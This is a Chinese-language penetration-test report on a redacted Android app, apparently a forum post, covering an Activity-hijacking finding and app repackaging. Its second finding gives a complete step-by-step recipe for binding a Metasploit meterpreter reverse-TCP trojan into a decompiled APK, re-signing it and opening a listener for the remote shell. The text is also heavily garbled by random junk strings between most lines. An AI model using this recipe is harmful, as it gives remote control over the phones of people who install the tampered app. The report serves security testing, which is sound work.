原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

. q6 z2 Q9 Q* [! R% }
1 C1 C7 H: {- V0 |8 s+ S" `% _5 { " Z+ L2 S0 l5 Y9 o: X

文档编号：                8 T8 Z' W Q. D9 j

+ x+ T, T2 k1 n8 p6 }1 z 3 |# C2 [5 [6 }( \5 K

& U' u9 N, R" F" }, ~   9 Z6 S5 E& v! b

9 Y& j0 P; ~: M+ v1 M4 k

! f; V6 _7 M J" b- v   ) z7 C9 F# B+ X, X+ b8 w. K , J: b9 ?5 I2 d* S2 s* F

0 Z' T! z* Y3 z! o

- m ^$ C' s3 A* J7 q2 P9 g: e   0 J; x3 V2 G$ V8 X1 n' g! F4 N

9 m! }. f" @9 e- J- t- k 5 _2 o/ m7 p9 u: G/ L   8 ^4 `# g1 N) Y( M$ O ! j6 \! i ?7 T6 ?

, C8 g6 ]4 J* v7 T( ]7 y+ s5 p 5 y+ R! H4 b7 B( p( U; I   - g( X, m _4 S. o( R# U$ c ) g- ^( d, y0 S G. q2 S6 o

4 B( R' K: [' h0 d: ` d3 W ( |. L- X$ m2 I. s2 \2 p1 T

/ E4 k9 g( W( U4 Y2 H 6 b; {$ x2 P" c, n; B3 [6 Z" Y 某某某APP渗透测试

  , l5 L0 x) w8 ^$ h6 A : ~. x K+ E; P2 c* J

" C |6 k% P8 o6 {) p" d- G   & F5 P s* g: T" `

6 @" p0 l1 i' p& z: x/ h

2 |! @5 _& _' d# t  

! @' c4 P/ n% P* j4 v# X- a 7 \- ^6 o1 S6 X

# C; ?6 g. Q& }* b; _   ! t( }: g' I% a

0 H/ O( h: U3 Q: z g$ G

# u5 |2 c6 \: F& E! H4 T: E ~ 技 术 报 告 % T& D* Q# W( T' p. a- x; C! s: ^: o

" t( c. l/ m" G& G

V, u1 d: L6 N6 j5 U# L   6 q+ G( {% X' G" k6 b - n; L+ `7 w( h) i4 O( E$ d

/ A1 ~, F$ L, S # s( K$ Q" p/ U' u

  1 S2 P7 P6 d- c3 E* c! m4 {0 m$ ^

! F. T: ?# s$ D' J7 [* o# ?   2 r* I* f+ N3 [5 Q# ^

0 I ?4 d: S( S3 u3 b g2 I

  2 g3 |5 A( k9 Y4 u4 Y: `

, }' V+ A) t5 `6 K " N+ ]: H, t9 S0 Z S% b   # e4 A" @6 u9 y7 s. p5 K1 C

) o7 t. T9 m0 B7 E3 H) q

' y6 q/ [2 h' `$ F5 j , y1 d5 L' d! ~) I R; [   $ v/ e4 v3 t) o! c, }; r

+ l3 z+ X1 P" p' S& K+ A3 t: L 1 f- G. T0 v$ R! \, c6 S2 T) p' C. L+ ]

" P% ^" [( Z" \- P1 `' A% }) J   ( c5 z+ l6 b- u7 I j. C p9 k4 F2 g

* {$ C2 K( w# c8 Q

 

6 j% U* { P) E' d8 C! }

+ O: ^: Q4 |2 ~3 A- k0 l   - }6 L7 v+ D5 v& {$ ]! X) C7 X

3 z+ x3 L+ |& P% K0 O! [" F/ Y   0 ]( @, c- r/ t6 D

  j/ H \- E2 c2 Z9 {9 O% D' D0 ? ; Y* Y8 g* R ?0 X5 S" o; d) N1 W

( H- Y+ _" Y; f: T" p  

% O# G5 | [3 K. b/ R, z$ }

  " a! r1 w- q# B2 k9 z' V

4 ]' Q3 w9 v2 m9 ]+ K, y

# r8 \* S9 s P% x4 \* f! [* Y   - g1 Z9 k& Y" V: Q* w% o ( G) B2 z! U/ J) w- t u( t5 K

4 f& P8 v* P6 e/ g2 W $ O% {* g" B, g* A5 |' s( ~

  1 K, q/ S# A0 L. S8 ]. s

0 x2 n6 A3 A+ g

7 ^7 Z3 M- x* ~1 E' t6 H/ E ) t: O- g2 z2 l( c* t* L/ m8 H' ?   ( f& {1 A+ K5 i" E" I3 b

1 G1 S3 g* v9 @/ [' z8 p : W" _/ H: J- o( V+ Q/ E5 _

 

9 }( H4 W1 p; q+ F

  1 ~/ m7 A; Z$ j5 N1 S+ l

: O" }8 b9 s$ |# f) |! [ 二〇二〇年 # |+ s8 d! k; E7 }1 r$ `2 k 5 Q/ B! f& s. D8 C% N

3 |$ H y U! a8 U$ j8 _. ~

1 L7 q) Q8 x( f+ W
& F* j# s5 F' _% q) _' B* Y ) j4 k9 G! V9 J* p4 X, S$ Z ( Z+ h" G8 c' q6 U# S- _

; Y3 Q* `1 N. h$ N' ?

0 C0 }& X) X4 X" i
2 S# B/ u3 c$ x9 n( z q$ [1 S4 q8 [7 i4 Q1 @ , y3 K, H# i9 T/ G* I

/ E* I8 d/ J- \$ p# T1 T. e - n# _5 R; O! X' u1 a

+ e- N) y0 T2 a3 i; ?1 b 目 录

& t+ H9 c( | z" v

1 U$ n" v8 s6 n9 D6 b4 r5 V4 v6 M   8 z; `6 @6 T* |; Q # Q, a# m/ J( k% t3 ~2 t V

" ]8 c; C3 r; y0 y9 \% ~8 X 1 概述... 3 K v8 D8 g+ v# G2 D6 E! \

" @% @) q' Z, t$ i: r5 ` 8 w: F8 c1 ~ Y0 r9 j

; Z; T+ E( {) T# g" M/ @0 R0 z ; p% R5 ?% c9 C7 V 1.2测试时间... 3 8 L+ ~2 }" P0 p- d, k. v7 y

$ Q# N! B E: r* V% p 5 `: j% T5 `3 k2 E 1.3测试对象... 3 & Q6 ]% c N; t2 ~( T5 g7 E; r+ n

+ P1 I( T7 B- X 9 b5 Z3 w- q/ a1 u" v, V 1.4测试结果... 3

1 B% w6 N; q7 z6 {7 a

7 b; y4 `4 Y7 H; i' N6 ` 2 检测结果... 4 w' ]7 w0 {- r; M1 R1 }* y 6 ^- g* |! X2 n6 e$ K6 D

3 Y7 k$ A+ s1 \9 K2 R6 b; K* O . F. a" G3 A2 l# ?

5 N0 ~! c5 C" ^4 R5 |. y2 U. ]/ n0 q 2.1 某某某... 4 $ G' D9 ^, E7 R9 O

& @8 j# M+ a/ a( O9 D4 x' V 2.1.1检测目标... 4 3 g5 v# P+ H% f% I5 d# i # Q; X, a3 r+ ?

# f8 Q$ ~) x8 |0 V 2.1.2检测结果... 4 R/ Y! x0 [' ~1 X 1 Q' m. B' @9 s* o' h) N' ?

! S6 M( e2 P2 F, `6 I , E9 } S! |/ _. h" }

0 Z% d8 l4 k, w1 ]3 s 3 j# @% ~3 J# ^8 N- {, k& f 2.1.2.1. 4

. t4 O% u' k5 o, ?

# Z7 w4 t7 W% f0 ~ 3 ~* k. ]: o1 M* \( V/ g* S3 Z 2.1.2.2. 6

* G; l# z& j9 q) X6 E& p

' j. g' A& N9 L9 P) Q 5 n) w ^2 Z0 \6 l% b

6 |5 |; W3 `- O4 X# m : v$ m1 t0 s* J( b( P 2 s. T% f& b0 F7 ?, Y0 h

* n8 \3 p- ~5 t$ o ! Y5 @5 t8 w; {
8 w/ T' m: J6 H. n8 C5 M % T8 X/ H+ V q1 P/ J0 y8 E 9 [$ s- E2 ]. F

) y! d2 U2 ~, |" Y/ W8 W 1 概述 3 w |2 w7 z# B/ `/ g

/ T( d+ |0 z3 [8 Q- C3 @5 ^1 W: g

1.2测试时间 / O9 `: K2 p7 j8 c. K8 Z

% L0 g1 N! N$ N1 X 7 d {/ X& p6 w. x7 ]! b + p9 D' [4 p: {8 N# T3 @2 }* r; S' i4 T) ?( W. @( ?" p. a+ l/ A, _+ j4 G g5 z" V5 Z1 f9 G8 i( R* Y. C6 W" r5 M7 ]3 O5 D0 C, N A0 K5 C, E" f* N; _' C0 D& b6 I# L4 O2 u9 X4 i& |0 i2 E1 C! J2 d5 A. Y5 p$ G, {$ K# }' U& h3 A! E& g% P, Y& ]3 H9 b4 U; o, T/ O9 E2 s- ], h2 M7 y- y0 ]5 K5 Z$ T8 S% s5 i# Z, k& v7 R$ H# I5 b) V$ _2 p, s- ?+ _ ^5 Q8 x/ k2 o! J& e

渗透测试时间 6 Q) A! x- t% ? 2 U/ o& _- }) ^ 5 ]% B6 ^0 }0 t& A
7 n4 ^ I9 `* }5 l8 s : z" }# z3 J! }, _2 p 起始时间 : J5 Q- a, l" X9 r' \' w ' w. J% z' f0 a	8 y5 D# T8 B/ x9 o1 Z9 r$ X: J * j6 ~* o. ]* n2 P: {$ k6 F( C 2020年4月6日 " \5 ^$ G& v4 O * R, r9 t* M- M 3 k( ^) @0 z2 K# Q- _) ` ( N; C7 b! d/ l4 ]& a3 i: L
5 X/ \ \* o$ \4 l: h: J3 w$ y 结束时间 + V, t H5 s+ x" s# ]. P 1 t3 q0 g* w7 {( l3 \( g	1 p4 Y d! i, L' ? 2020年4月9日 8 |/ Q( B$ e% b* S 9 ^% Y) F" {& S! z

0 c. h( }7 K# S( ]

1.3测试对象 $ t0 m0 P' m# d3 A* O

3 e& O& y, _* u+ ]' U5 F1 h 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： $ O% e Z+ q* J- \# \

; @# N k3 }# R6 ~. E1 H : w/ }" B% q" z/ [, t

$ B3 m$ @; G9 t# x3 r9 c+ @ 表1-1 检测对象

. r3 @/ w; N6 p) y; {: c" ]5 h9 d P) o+ Q) g# q. D. F/ |6 `8 R i+ w7 i( L; q% o* s2 P5 I/ ?! |' c; D7 d) v" \6 G* E d: w$ w9 g, V. w$ i4 K1 H' j ?# [4 `) F; i g( k, c+ O1 W2 T3 w8 i. w* K. b* z# H/ Z1 {/ x9 ~# l6 u* Q2 _# b, i, j T: ~ t$ {- H5 r0 Z0 L: V: ?7 D+ b- K. v/ v/ R, O& R) p$ V' ]' N, z0 o. l5 m/ V( x* u" {+ D9 K( }7 E) m% J; `. U% p2 Q' R

% t" f Y) J9 {% ~& y ' w+ L% b$ i6 x( ~' y; ? U 序号 . ~8 t( q' g1 f1 g) c 1 Z- \& _# |" w+ l3 m5 B$ I	( b& ^, F- |) g% B3 u 5 G3 \. l: y) Z1 i/ o6 r7 h 测试对象 & ^% i+ B3 Q/ b J8 \# E 5 m8 [3 E0 L5 _" U ! j! g& q' |: }0 K	测试地址 $ w5 C/ D) \: Q1 k 5 n. n$ v7 u3 [4 w/ U% p8 ~	7 y1 l9 W3 w* t; {4 d9 D 1 N! E+ C3 O4 y( C 安全漏洞 + {# A: M& t$ A+ @
f9 w4 I# P9 J! @ % L6 e- b0 ~* X& H3 t' ~ 1 C" S+ d6 g( f% I- x9 r 1 , Q8 T! M% p1 ~. m1 f9 H9 O + \$ g! K2 E. _& V$ e	: \# l8 p* _" j2 h " Q T! V! Q/ [; R) O+ b 4 |5 C% o, `4 |3 p' \( x 7 H6 N* I5 X4 W4 Q8 z 某某某安卓APP 4 i3 l) l: i6 [$ j6 D9 V# c$ X/ P	$ C) z* F/ u* X& U3 ?( i+ h   r) o4 ]' ]& ~. v6 U/ @9 ^ # e2 H% V. G4 q. R6 ?) D 5 m' n8 I/ p6 o3 j	~& o1 P7 \- V4 d1 _ 2 & s( P0 o x e* Q! w 5 f! u5 Y6 x$ l( d5 C

1 j2 }$ V: Z. i- H. k# V

' J2 O1 H4 u/ P; e 1.4测试结果 B7 t, k. w q- K1 s# | _" c; v5 | 9 Z8 |2 h* y5 z' A v- A

" A, t( a0 R; g* J 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： ' s I4 k1 I6 j2 i

' O( j2 a, R. M3 t( a

- U0 B4 |+ K* d& v1 _' s" ` - S8 `% F% M7 l! g   7 a: N9 I# d! Q- J) ]" j9 a! F0 O

5 e5 Q, `6 K4 A/ | - H a' B% S% J! l$ ]9 t

2 i' i+ I Q4 B( g$ q' y2 r# p! I ! X# Q4 k: _9 T) g5 T ' M3 a& {* T; O1 i! P6 Y% u2 k% s; S$ }, H- {6 a. e3 q5 J. z6 b8 g' ^( P. y! ]) G8 p5 i" Q% @0 r, v7 g$ F; i3 A6 Y1 u. g8 D" z/ R! c- {. @( C8 D% A0 {: [! c$ W0 E7 c" e4 D% E4 w7 C: ], q$ Z& z, ^3 \2 a. Z, g- T# W% _% m7 S5 [' N, } S, x1 Z# u9 z3 I2 |$ i% H8 J- T# e1 g6 i. R" v: ~" @8 R% O/ H- t0 H$ r; @* p0 m' U3 N# o& y3 U- {2 T: L! h) O9 R E& V* u+ E0 s! _& _; C4 _4 v8 U( q0 ^- n1 Y6 A& u* q5 b# _$ }8 x. |& H+ N+ n8 B5 x0 x6 L) C" ~6 U: S6 x* }8 D2 G$ W+ `6 C9 [& I% ?, M. E) h4 o% A8 d. P+ @( `6 ? p2 b# {: B" l* g* A! g; |$ ~7 K7 V: V- i' c0 Q( u! s- y/ x3 w0 p3 ]% p# R+ I' t, H$ |, {5 Y8 q6 o7 k8 E) F

# t9 a7 t4 x9 e; x3 q9 }5 S ' {$ }5 B, p1 F 序号 4 Z7 l$ l' b# U7 `3 U% n8 T% ?4 K / v T4 M/ ?6 w	9 A8 j" K$ S# V; h/ j& f! a5 P- i( n " `7 f0 Y- l/ R1 G: X9 ?* H# ` + j/ h; ?5 _* g! Z. e1 @% M q. Q, Z* w8 f 系统名称 ; X- H8 C8 ^6 `% W 0 V$ \! u4 S! O7 i% S+ v! z	$ l) C7 B7 o4 }! \# m" | 漏洞名称 # w! L8 K4 L o0 a$ \" m X5 b0 ?4 g' g( W) u. E0 g8 Y' m	$ k! A7 J$ C0 ^* v: @8 {( Y - A. k! g/ k6 [& _9 T 漏洞危害 ( T, O5 e+ k. }* U1 |! C : Q; e% D% Q, Y# L 2 x6 B3 z+ j( `& i4 d2 J	" S5 k" W8 W8 s' { p: ^3 { + x& a1 | [8 Z7 ^6 a* B) E* m7 N ' {+ a3 D: _( p }; q 修复结果 - E1 n! l6 |7 V/ Z8 z8 s3 q: a 3 I* U) E2 q3 m; T
" @: ^! X+ j, G ) O6 W! o i6 Y K6 _) C% W6 K. y 1 9 h# j* ]9 _/ V4 r( Z. ~	t$ L2 u% ^0 N- Z ; Q' b& R; F5 P$ B 2 x9 c. @% o7 R 某某某某某某APP K2 ^) z- I3 |9 J	7 g% c3 K2 f5 f+ d# a+ ^* v6 k1 I Activity 劫持 5 {, I2 u s5 c' O5 G 8 H1 L* S, i/ f9 `/ I. y 6 o* r+ y8 r/ j" }   3 B# t L7 ~2 J# G ! S6 M/ I7 c2 s1 y, O) C% ] , H$ w* S3 \6 d$ ^# j* N/ Z	6 ]* j M, T+ S7 ? 高 2 N) c7 a, K7 W/ u	) e# V% Z0 C" K }. m u) [. h( d* V" | 3 F9 A0 O2 d0 i$ _: F4 {
# W" y4 f: W. r( M3 D4 k 2 6 B4 C. r0 l: R5 l8 j- Y3 F/ Y 4 U- v5 `$ U+ ?' s ( l, E7 B, f# |9 X4 b" r6 e0 f	4 z% ? C0 V6 d7 M: @5 M7 c 某某某某某某APP ( A- d4 l6 O( ^4 L$ Q( u h 1 |3 b h0 o/ n, D# `% h) @	, |1 B! K0 y Y) g: D% z" R 反编译二次打包捆绑木马、篡改APP代码 4 i0 Y* r8 N: e 5 C% p1 }- R- \# K" E$ r2 h. P	+ v( C0 q9 S1 h0 w8 `8 i2 m 高 ; x5 D4 [! g+ b3 Y! g9 C	6 _* H# P5 F- A! O. J' A * M# @. C! `% x) p$ X" ^3 Y

+ G9 {" v5 j) Q v. ` ! z1 P; A: J7 i7 L2 q# j) M

. P5 }2 ~: {) J * Y! {! p) ~* [+ v6 N- j5 T' e

) n6 Z9 H) R9 X- M3 w: _   ; u% x8 [4 M4 J$ k # ~8 V2 F" w# \: O

+ A# I+ t6 W: O' l, @* `8 F

8 C! r# K2 W, L/ M1 V1 v) z 表1-2 测试结果

1 z+ O) e- s9 E4 O( {! { w: v ( w/ n0 a5 O* e p

( K( v% Y: y+ [( m) F4 b   , @. U8 A9 {: I6 h# a7 y

1 x; G B# \1 I1 \1 u& r

- `/ Y5 M7 W# Z S1 @) m , p& `3 C! d1 ]1 x1 ] 2 检测结果                    / [1 R9 z, `9 f2 s

; A3 n, y1 @+ {1 \, e $ k) ^" V6 B& z; g* F

$ H! K# z6 T# L% I+ |" R 2.1 某某某 & X+ d0 W8 O& \

, j: ?. B$ Z/ a) U: }1 ~- O

2.1.1检测目标 & N! d0 l3 T( Z& }8 Y6 A 4 W/ G2 E6 |! L

) Q0 A8 j# E! ^& r9 {* F

目标地址： 某某某某某某APP # L3 V! U4 D6 ` 7 a& f4 b' J9 v7 X: y

, q- ~( N: b6 N( Z

& P; t7 ^" D% w) ?! ^1 M 7 }; L0 o. |. P1 ] 2.1.2检测结果 9 y) L$ X0 E- u8 s 2 g* ~4 E1 I( |6 z" ~! J) T6 @

6 t- B/ L7 ^( } ^! d 2.1.2.1 $ ^, V+ W7 h. s4 \

漏洞链接地址：某某某某某某APP ( ?6 u% D- {$ i5 g' Q 4 a& g; i8 |0 e

, E4 S/ |5 H [7 e   4 C* v6 ]6 j# q1 w1 W

* u. D( p6 r4 p" P 漏洞分析及取证：

8 [5 @: {7 k5 N! ?- D1 `

( O: W q K2 b( f9 l , W9 ]1 v; l0 M2 l                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

    

                      - L6 X) Z' @( ~% U

$ t; ^4 _( D* f. |) h. x

2 [$ R e5 t: o% I, S. N0 B

- w6 B3 h5 h6 }8 O 9 u8 h L5 c. _3 L# [5 r6 w, p9 k : T. q7 S( y& F+ p

/ V. S {4 I; ?3 l6 b* P$ o + G- n( r; X4 N9 C9 D

2 x1 i: m, F0 J+ ]

8 `2 G3 X5 q1 n* O! \ v' I; k& J % r$ Y; \2 z ^5 Q$ T& r 漏洞危害：高 " C$ A+ u( E; d0 q

5 V- G! o7 S. {0 G+ k

+ ~7 f8 W- p) } n6 y" J: Q2 @ o5 ^+ e5 B& C! S( a: Z9 ^6 {# i0 ~. c q# u) U5 G/ a9 G8 S: b( ?6 A( i$ ^) y! b' _8 a2 G/ a9 ^7 G+ y6 l) Q1 v$ q8 i/ m# g/ z% w, t1 i# ?3 [8 t% i! O4 E/ @# @. x2 f) u# {2 d+ Q; R# K8 T/ m$ L8 x/ F. o& X$ G" j7 G1 T" J$ H( {% r& t b! P+ m& h* V6 ^! C' j0 C( J3 I2 B1 Q9 w& Y- D4 u) Z7 @, B3 E* X/ L1 O: M' H2 c6 b: B

0 q' ]$ Q# \, X# w7 G# e 严重程度 1 f5 E5 y' Q1 c; z	6 G" f, T$ f) y6 p # j6 R; e6 C; }/ p. o/ e 4 D7 n# f h: |4 T 高 : I4 T. u# y- f# v" e2 q2 x( O	9 g3 g4 l3 u" p# O: N: P9 l, _ * Z5 O. S3 p- Q8 o P$ ^- | ■ 6 U9 {% B! ^; H9 d6 V0 X- T6 q Y ! \: k$ x& P# |% h7 {+ `	% ?8 r7 E! y% Q8 @& Z " U" J. X3 l/ P/ g& X 2 p8 s9 g) U5 q% I$ J1 \ 2 p8 v4 v0 r6 h/ Q+ J; O9 E 中 , j: n+ C N6 }' `3 Z & t3 W) G& Q$ [7 W1 P5 K8 L ! y7 q J# |2 a1 O: M7 V4 y	$ l! J' M3 _9 x& h1 |+ u9 F 9 k+ v/ a1 T# r( p" f 4 j8 h, S0 c' j! L; k' O9 [1 M	3 @& r' M) I/ }5 O 7 h: J3 U) g+ \; ~/ \+ \5 ~' M# L. @ " R# B3 w' ?3 E6 f6 A 低 # A X6 x9 ]' E1 I7 W	7 l$ d$ w. v' n( S8 A v: g2 S" O4 |1 l6 Z+ w - M2 ^: W& \; [# D9 m$ g & h9 O% i1 S6 C1 S   5 S3 `+ ^7 X7 l5 c- _* p' o! H 9 `2 ^( [. E5 [9 C$ H0 s

; P7 q% t& J( ~ S! u/ l

% R+ D# n- w; u) u5 O7 r2 ?! c % d U( U. o2 V5 H; W! U  

' i8 i9 Y% ?6 }7 q3 a

7 v( a6 w' [( r z 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 7 [' K+ ^$ G1 j1 u- w2 M

' P% m4 I% S% j0 c2 {% v* F

( I' v+ n' M3 |- m6 X           ! B% F: l! m4 T3 X! J. ?

. X( ~2 ^ L& H4 v( j/ ~" ~

3 n( S4 m+ }+ T% ~% A   1 @$ W* X& [7 g' G9 B Z6 }- F

! x2 I2 G8 ?; m$ H( j

4 @, E0 q, C7 L+ H) O5 B4 V + I8 i% K ~/ C* w& | 2.1.2.2 6 [! c7 J' G$ n( V; s

$ @) n8 S* i7 } ' m$ M# D, l4 u+ V- [8 j/ U) ~8 z

, Q2 @; |8 L3 C' E 7 j8 b- n8 M8 P+ y' p8 @6 ~- `' B& [ 漏洞链接地址：某某某某某某APP $ k' q2 ~" b" m

漏洞分析及取证：

+ a& |) X7 @- i' C2 Y$ q; i' A

9 c( d# n) p+ n/ j                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： r# j8 ?& N, j. L, Y7 I4 W

( |" f6 e. E. P, n" O 用Metasploit 生成木马 apk 4 q! B1 u' f# S3 ~# U

0 p U3 X G8 l+ ^% L( Y! q- ~

9 e) z' j# F( h' L 0 H) R0 S, V$ ]9 v( h/ o# C msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / Q% b) A; f& r" F

# X% ^* `/ |$ g 反编译目标apk和木马apk ' @3 l& q0 g+ [* P q) E

' Q9 m7 O& {; F( Z4 Y- c- h0 ]) Q 2 t1 I+ @, ^/ @- y

r( `, B' T, m' O% A+ L" F3 m8 j apktool d target.apk
: F4 @ b4 s1 J- b- s apktool d cockhorse.apk _, ?' D4 M7 O/ z* G) v% w 4 x# M: L5 O, r9 @/ C

+ ?* u9 n4 f! D8 Q3 z/ a 6 u! D7 n+ y& A' u9 `. H+ P 木马 apk 注入目标 apk 2 h3 T. F" f3 A' v' Q- P# \

) C& L8 t0 k- j . X7 ~) a. R- O9 D; y& Z

$ _% E% l2 p' z! P 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
3 y8 R, v d8 j0 r# C5 Y+ v; t9 M invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

% R6 }# L5 q( P7 ? 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

; h- N* g, ~3 l2 W6 j! ] E 2 g8 u) Y u( |. s8 u

3 O1 |; C0 G0 B& J/ q: h" T' C' _. k " M0 |% w+ ?2 |) j' E 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 2 t) v" O1 }% f3 X m$ F/ M + A0 j# R& N: q6 g

回编译生成最终 apk * b) M0 j: W. S/ j- ` 0 f, n; O2 d& A4 a' ]* W

0 C; [6 E$ K' o2 {3 A

重新打包 ( ~: e: \7 l( b7 z& F7 v 5 [' B3 B6 x" @6 u2 x# N& y9 [

9 E; R/ U6 p, `$ X

+ E+ K8 B: p/ E; U# Y* { apktool b -o repackage.apk target_app_floder 9 {; Z# d3 t* o7 T( {- g

6 W# w g: V3 ]: q. g# c, b0 F

j, v! ` o3 @: \ 6 x1 o, f+ W5 S$ P' Z+ @ 创建签名文件，有的话可忽略此步骤 6 k0 n: |5 h V9 O9 R% ]4 ^- h

$ j% ~9 | b; w

5 o; |& _" y. A5 L# B - q3 p2 r3 j# Z+ O keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                % H5 n- c' c$ N1 L" C ; v0 w+ `) U8 w$ y" p. T; |& p8 J

, v8 D, T7 N, }. }* E& g' d& Y 6 S% A% |% s2 a1 s) N' m

! t3 ~2 b" N1 X4 T7 c, \ 签名，以下任选其一

* ~+ |$ R+ m" d0 ]# t7 U# c: G

3 I$ f0 K& j4 a jarsigner 方式

0 x- {) M: B! q( G0 E ! j/ O2 ?2 c- d! ?' k0 x

7 Z8 r6 p$ K! f4 P7 Q% O 9 S3 M: o) a% Z3 q+ t$ C jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname : K, N6 d% v% M9 K6 O8 I3 M! Y7 J

' N4 h2 w- o3 Q+ X- d$ u

. x- \0 R5 C1 ]) K9 j% b/ P9 ~ apksigner 方式 & E" d! b+ j' _! z* h4 Y

& L" ?% j. L- k, R" }5 l 1 k* O8 @+ k2 C" J- C% t* R

: d9 x u: {8 y' q5 B apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk : D# ~- A$ W: X: Y8 ^; [- _

3 I. F- b9 H# {- M

9 A; t s; l- [7 l( h' M 如需要禁用 v2签名 添加选项--v2-signing-enabled false

+ t( i& i; p7 B% q" \# r# |" K" z 5 S: o; h0 K/ J s( X) Q 验证，以下任选其一

, P" L: Y# p- V' U E7 f% @

+ H( _9 O3 U: U z4 n2 B8 }( x . H. X& d/ V8 H( \* p jarsigner方式

- ]# T# l }1 ]: f; j5 X& e

! s6 C) r4 b# ?- Z i5 P jarsigner -verify repackaged.apk + b: E9 o: O7 E8 a$ ^4 W, ] F 5 P! ?# c6 p3 B n g

2 {: m1 }3 x# Z7 ~: a

. n- Q$ \: f6 a4 v % D1 I6 } L9 y* ]9 v) z+ [7 e apksigner 方式

+ s$ {5 i9 ?; Z/ |9 J- H _

' {+ _) z8 u1 ?. @ apksigner verify -v --print-certs repackaged.apk ' q$ q! Y' U! L. k, W% E3 a

6 n/ @. R3 O7 _ keytool方式 + u% P( i0 V( z0 z, a

& N! y0 K s+ s, Y( [

keytool -printcert -jarfile repackaged.apk

. D7 e; M! T9 [ f / A' x! }# w: x$ y4 { 对齐

7 R$ j8 j6 W0 ~/ G+ @

/ n/ `5 R3 M- t/ N; Z/ B; | 字节对齐优化 : b3 @' s5 `# o. U$ c4 b" g

6 t; ~5 x: K. s$ U }

. E/ O2 G! e. R$ W0 W8 Q! r zipalign -v 4 repackaged.apk final.apk 6 K% _, Y+ J1 O* F) s( \ . ]) |9 T7 |" k! y

1 r+ E7 f+ H- I7 k& O 0 F. v! P7 t0 X: ^: r: c5 ^

8 \* T6 w+ F9 j/ y 检查是否对齐 6 z5 ~# E( c* S r & c ~, Z! x1 e; l: Y6 b

! I" B# V. ^2 A' E5 w- R$ R, q, N zipalign -c -v 4 final.apk $ h& O5 _' I( K* z6 } 8 `* Z' ?) M$ O% Z2 r

, f: H; \0 m5 ?% f& b+ S# Y7 k# t

. t. Q$ q/ Q* k! t6 A/ d2 |9 q# R1 u 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 + g( W5 {' K6 S: e

O& d" W. y& i

5 @8 L7 S- L+ Q+ M5 ?4 N! m : l2 r% ~ N; _! \7 [ 启动Metasploit控制台，配置参数等待上线

, v- E! U8 L( z# v- @& I# I* s

6 S. v1 q: e* e0 j( b A9 M9 i/ t9 I2 R5 s- H 在终端依次输入如下命令 9 v8 s% S2 Y# q- W

" m6 h" F3 o5 k/ k/ }# x, {3 A9 O ( D0 Y9 K! J+ j msfconsole # y) i" z T: q4 o) T: |5 ~

. u" u( D& L9 l1 I+ R- }5 X6 R

- c$ S& T! g. a) p/ d# }8 A# ? use exploit/multi/handler @" _& O+ P) E" q

( S7 B R7 W e3 T5 G1 m1 W+ k 2 O. O+ M! G' M

5 h8 e& m% E* N3 Y% B5 |2 M3 x set PAYLOAD android/meterpreter/reverse_tcp ( B' D' ]1 A }: w

( z" u; t% K0 U, q 1 f' S; e- S. D

0 D d9 n5 k& f O x7 @8 H3 S, R1 L" x( @ s set LHOST 192.xxx.xx.xx ' ?+ @, R5 N6 {( i' C0 j $ }2 z/ Y/ y& t" f5 B% c

& g- m5 s$ M. f ( W9 L" [: H/ u

set LPORT 4444

+ {/ g* s0 j; z$ k. L# F0 D4 A exploit 5 v$ j) x+ j0 x4 C; d

2 X$ M! T$ J3 R3 a6 L! B $ S3 }, ?7 a3 A, Y

/ _. \% c. \2 Z6 D9 S! v: _ 1 j' l3 R2 a0 x$ j6 ^$ F 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               & o3 ?* i& q# @4 P$ @- L A . g5 m: R; @1 ~' X0 o1 T' `

9 E& \9 f9 m$ `3 V

5 U; ~- k' Q! }/ J! q ; b% f7 ? c9 z: B 漏洞危害：中

# ~ {, [; D& `

6 W6 [+ l: D& f# U- j! `5 x " e/ G5 M( N7 m. k+ k, e% w) b 4 p: E% {! g3 w0 W1 `$ M3 i8 t! g7 d) l1 W0 ]! F' k3 W. W% o+ L% A9 D- {; H- J% C% `. k. t; {5 S0 p# ?( @' {# g+ U6 z2 D N3 k, N3 ?% [; K/ I! ?$ {6 r0 y" h4 ` S6 @, y6 h7 P/ V+ c! ^- Z" f" S( Q; v( H6 M% u# k9 V; ~+ ~0 W4 @. i0 A% \1 M# _- j% ?7 r- w, J" Z6 g+ t5 Z

